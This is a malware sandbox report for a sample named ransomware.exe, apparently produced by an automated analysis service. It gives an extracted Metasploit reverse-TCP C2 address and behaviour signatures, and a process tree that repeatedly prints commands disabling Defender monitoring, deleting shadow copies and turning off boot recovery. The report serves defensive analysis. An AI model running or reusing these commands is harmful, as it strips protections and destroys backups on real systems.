Analysis
- user interaction
yes - max time kernel
298s - max time network
1055s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
23/07/2026, 07:21
General
- Target ransomware.exe
- Size 11.6MB
- Sample260723-h65p3aaa29
- SHA256 fc434b99b49d02aa6c0adec798379894158e3d6ce92c869964a6b421d106bba8
Score
10/10
Malware Config
Extracted
Family
-
metasploit
Version
-
encoder/shikata_ga_nai
Extracted
Family
-
metasploit
Version
-
windows/reverse_tcp
C2
-
3.17.202.129:17362
Signatures
- Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 64 IoCs
- XMRig Miner payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Disables one or more Microsoft Defender components 1 TTPs 64 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Loads dropped DLL 64 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Using powershell.exe command.
- Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Drops file in Windows directory 5 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Time Discovery 1 TTPs 7 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 9 IoCs
- Interacts with shadow copies 3 TTPs 64 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 17 IoCs
- Suspicious use of SendNotifyMessage 14 IoCs
- Suspicious use of SetWindowsHookEx 16 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exe"C:\Users\Admin\AppData\Local\Temp\ransomware.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exe"C:\Users\Admin\AppData\Local\Temp\ransomware.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No5⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No7⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"8⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No8⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"9⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No9⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"10⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet10⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No10⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""10⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"11⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"10⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet11⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"10⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No11⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet10⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet12⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No12⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet11⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""12⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"13⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"12⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"12⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No13⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""13⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"14⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"13⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet14⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"13⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No14⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet13⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""14⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"15⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"14⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet15⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"14⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No15⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet14⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"16⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"15⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet16⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"15⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No16⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet15⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""16⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"17⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"16⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet17⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"16⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No17⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet16⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""17⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"18⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"17⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet18⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"17⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No18⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet17⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""18⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"19⤵
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"18⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet19⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"18⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No19⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet18⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""19⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"20⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"19⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet20⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"19⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No20⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet19⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""20⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"21⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"20⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet21⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"20⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No21⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet20⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""21⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"22⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"21⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet22⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"21⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No22⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet21⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""22⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"23⤵
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"22⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet23⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"22⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No23⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet22⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""23⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"24⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"23⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet24⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"23⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No24⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet23⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""24⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"25⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"24⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet25⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"24⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No25⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet24⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""25⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"26⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"25⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet26⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"25⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No26⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet25⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""26⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"27⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"26⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet27⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"26⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No27⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet26⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""27⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"28⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"27⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet28⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"27⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No28⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet27⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""28⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"29⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"28⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet29⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"28⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No29⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet28⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""29⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"30⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"29⤵
-
